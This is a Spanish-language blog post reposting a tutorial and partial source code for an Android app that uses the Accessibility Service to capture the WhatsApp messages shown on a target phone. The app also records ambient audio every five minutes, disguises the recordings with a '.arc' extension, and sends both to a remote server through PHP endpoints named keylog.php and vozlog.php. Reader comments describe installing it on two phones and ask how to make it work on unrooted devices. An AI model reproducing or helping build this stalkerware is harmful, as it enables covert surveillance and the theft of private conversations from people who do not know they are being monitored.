Tienda Wifi

Tienda Wifi
CiudadWireless es la tienda Wifi recomendada por elhacker.NET

Buscador

Entradas Mensuales

Suscripción

¿Quieres recibir las últimas novedades del blog en tu correo?

¡Suscríbete al feed!

Foro de elhacker.net - Noticias

elhacker.NET en Facebook

Entradas populares

PostHeaderIcon App para capturar los mensajes enviados a través de WhatsApp




Código fuente de un proyecto dónde  se explica un modo efectivo de capturar y guardar en un servidor web remoto todos los mensajes de Whatsapp de un móvil Android. Se ofrece todo el código fuente necesario para generar la aplicación y probarla por nosotros mismos. El monitoreo de los mensajes de un determinado móvil, requiere la instalación previa de nuestro apk en dicho móvil a rastrear, además de un paso añadido, en el que vamos a dar permisos al servicio que creamos para obtener datos de accesibildad.





Si te interesa monitorizar y controlar los mensajes del WhatsApp de cualquier dispositivo móvil Android. estás de suerte.

Solo se captaran los mensajes que se vean en la pantalla del usuario del WhatsApp. Mientras un determinado mensaje no sea visto (en pantalla), no será captado. Esto es así, porque el sistema que estoy explicando, basa su efectividad en la funcionalidad de las nuevas APIs de poder acceder programáticamente a los diferentes componentes de la pantalla del móvil. Por ejemplo, podemos acceder al texto que hay en un TextView de cualquier aplicación en ejecución en el móvil, siempre que se vea en la pantalla el mismo.

Con estas sencillas líneas, dentro del método onServiceConnected() ya tenemos enlazada nuestra aplicación (servicio) con todo lo que aparezca en pantalla cuando se activa la aplicación WhatsApp.
AccessibilityServiceInfo info = new AccessibilityServiceInfo();
info.eventTypes = AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED;
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_ALL_MASK;
info.notificationTimeout = 100;
info.packageNames = new String[] { "com.whatsapp" };

setServiceInfo(info);
Posteriormente, obtenemos un código único para acceder a los datos guardados en el servidor, desde la web que hemos creado para ofrecer una interfaz cómoda para obtener los datos guardados. Cuando se entre en la página web, deberemos ingresar este código que nos aparece en pantalla la primera vez que activamos el servicio desde el panel de Ajustes del móvil (ver instrucciones de uso más abajo).
Para obtener este código univoco, he utilizado un hash de la mac del wifi del dispositivo móvil. 
Es muy sencillo:
 WifiManager wm = (WifiManager)context.getSystemService(Context.WIFI_SERVICE);
return wm.getConnectionInfo().getMacAddress();
Si por cualquier motivo, el proceso de obtención de la mac falla, se genera un número pseudoaleatorio de baja colisión (ver código fuente completo para obtener más detalles).
Y aquí viene la clave:
Dentro del método onAccessibilityEvent(AccessibilityEvent event) de nuestro servicio de accesibilidad (AccessibilityService), simplemente vamos a rastrear la pantalla, para filtrar y quedarnos únicamente con aquellas pantallas en las que se está leyendo o escribiendo a un contacto o grupo. ¿Y cómo obtenemos el contenido de la pantalla? Pues gracias a un código tan sencillo como el siguiente:
    AccessibilityNodeInfo rowNode = event.getSource();
    if (rowNode == null) {
        return;
    }
Con este simple código, obtenemos el objeto nodo principal de la pantalla, el cual contiene a su vez, a modo de árbol, todos los componentes de la pantalla, que serán hijos de ese nodo general.
Por ejemplo, para obtener el nombre del contacto con el que se está hablando, simplemente hacemos lo siguiente:
     // Buscamos el contacto
   String contacto = "";
   
   AccessibilityNodeInfo headNode = rowNode.getChild(0);
   if (headNode != null && headNode.getClassName().equals("android.view.View")) {
    AccessibilityNodeInfo vw = headNode.getChild(1);
       
        if (vw != null && vw.getClassName().equals("android.widget.LinearLayout")) 
        {
        AccessibilityNodeInfo ly = vw.getChild(0);
       
        if (ly != null && ly.getClassName().equals("android.widget.TextView")) 
        {
        CharSequence texto = ly.getText();
       
        contacto = texto + "";
        }
        }
   }
Lo que hemos hecho es, recorrer los hijos del nodo principal, buscando el primer objeto TextView, dentro del primer LinearLayout. El texto de ese TextView se correspondo al nombre del contacto o grupo con el que estamos hablando.
El resto de datos se obtiene de manera similar, rastreando la pantalla y sus objetos. Así de simple.
Cuando se obtiene un mensaje, y se identifica si es un mensaje enviado o recibido, se envía dicho mensaje, junto con los datos necesarios para clasificar el mensaje con los demás de ese contacto, y según la hora de envío. Estos datos se envían en formato JSON a través de internet, a un servidor específico que debe contener los ficheros PHP que adjunto también a este artículo.
Hay tres variables que se deben configurar para que el servicio funcione (están dentro de la clase ServerUtilities):
static final String SERVER_URL = "http://tudominio.com/carpetaopcional/keylog.php";
public static final String INDEX_URL = "http://tudominio.com/carpetaopcional/";
public static final String SERVER_URL_VOZ = "http://tudominio.com/carpetaopcional/vozlog.php";
Debes apuntar estas variables al lugar (url) donde has subido los ficheros PHP de la parte web del proyecto. ¡Recuerda dar permisos de escritura a la carpeta "datos"!
Esto respecto de la parte de monitoreo de WhatsApp. El monitorieo continuo de sonido es más simple, y simplemente se hace uso de las clases nativas AudioManager MediaRecorder.
Se va grabando los sonidos que capta el móvil cada 5 minutos, y se va guardando en un directorio temporal esas escuchas, en archivos MP4 (aunque se guardan con extensión ".arc" para que no los localice el reproductor multimedia de Android). Posteriormente se pasan esos archivos de 5 minutos a otro directorio para enviarlos mediante internet a un servidor web.
Un Thread se encarga de buscar archivos en el directorio de grabaciones terminadas, y las envía por internet al servidor web apuntado por la variable ServerUtilities.SERVER_URL_VOZ. 
Si en un momento determinado no se tiene conexión a internet, el proceso de subida se reanudará automáticamente cuando este hilo detecte que ya hay internet de nuevo.

Panel de control de WhatsAppBackup  vía web


  • Instrucciones de instalación y uso.
1) Generar la apk e instalarla normalmente en el móvil a monitorizar.
2) La aplicación sólo estará activada y monitorizando si el usuario, posteriormente a la instalación; explícitamente configura el servicio de accesibilidad como activo. Activar la monitorización es muy sencillo (Ver imágenes adjuntas a este manual):


      1. Ve a la opción de "Ajustes" de tu móvil.
      2. Selecciona la opción de "Accesibilidad" dentro del menú de "Ajustes".
      3. Pulsa sobre el servicio "BackupReceiverPlus" y activalo.

3) Copia el código numérico que te sale a continuación de activar el servicio, y también copia la dirección de la página web desde donde podrás ver tus conversaciones en modo online en cualquier lugar y momento (si no te da tiempo de copiar el código o lo pierdes, tendrás que desinstalar la aplicación y volver a instalarla para poder obtener una nueva clave única).
4) Ingresa en la página web e introduce tu código numérico en la web. Tendrás un listado con las conversaciones disponibles y los mensajes de texto que se han producido, además de un listado con todas las grabaciones de audio enviadas hasta la fecha.

Código de ejemplo sobre cómo capturar y guardar en un servidor remoto los mensajes de WhatsApp de cualquier móvil Android

 Fuente:

3 comentarios :

john smith dijo...

Hola buenas tardes. Ante todo felicitaros por la información que aquí
se muestra. Recientemente he pasado esta información a un programador,
pues yo no tengo ni idea de programación, nada de nada
y me ha hecho la apk y ha subido la carpeta con el proyecto a un hosting.
Instalé la apk en 2 móviles samsung y comprobé entrando en el panel
de control de whatsappbackup, que tras introducir el código que te
aparece tras instalar la apk, me decía que no hay mensajes que mostrar,
osea nada de nada. Mas tarde probé a ver los archivos subidos y con
filezilla entré en la carpeta y pude ver que hay una carpeta llamada
"datos" que tras instalar la apk en los móviles crea una subcarpeta
dentro de ella con el código que te sale al instalar la apk, en la
cual hay un archivo de texto con las conversaciones capturadas y una
carpeta dentro del móvil en el que guarda las conversaciones grabadas
en formato arc, en el servidor no la he encontrado dicha carpeta.
También pude comprobar que solo había una y no 2 carpetas, la que corresponde
al segundo móvil. La única diferencia que veo notable entre los dos móviles
es que uno está roteado y el otro no, los 2 móviles son samsung y el rot
lleva la versión de android 4.3 y el no rot lleva android 4.2.2. Osea
solo funciona el programa con el samsung rot con versión de android
4.3, pues las configuraciones en seguridad, accesibilidad y opciones
de desarrollador las he clonado para ver si ese era el motivo. No se si
es problema de dar permisos de escritura o algo que no va bien en el código
por el cual el dispositivo no rot no crea carpeta alguna ni graba nada ni
captura mensajes como el dispositivo que está roteado. Hay algo que se pueda
hacer para que la apk funcione también en móviles no rot, si es que es ese
el problema?

Muchísimas gracias por el trabajo aquí realizado, que es fantántico y salu2.

el-brujo dijo...

Desconozco el funcionamiento de la app. El creador de dicha app está en este blog http://algoritmoevolutivo.blogspot.com.es/2014/02/codigo-de-ejemplo-sobre-como-capturar-y.html tal y cómo se menciona en la fuente (créditos) del post. Lo mejor será que se lo preguntes directamente a él.

Carmina Velasco Cruz dijo...

Hola buenas tardes, le he preguntado al creador en el blog que me dijiste pero no he recibido respuesta alguna, quizás porque hace ya tiempo y él no entra en el blog. Me podrías poner en contacto con él o hacerle saber que tiene una consulta en el blog?

Gracias por todo y salu2

Publicar un comentario

Los comentarios pueden ser revisados en cualquier momento por los moderadores.

Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.

Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.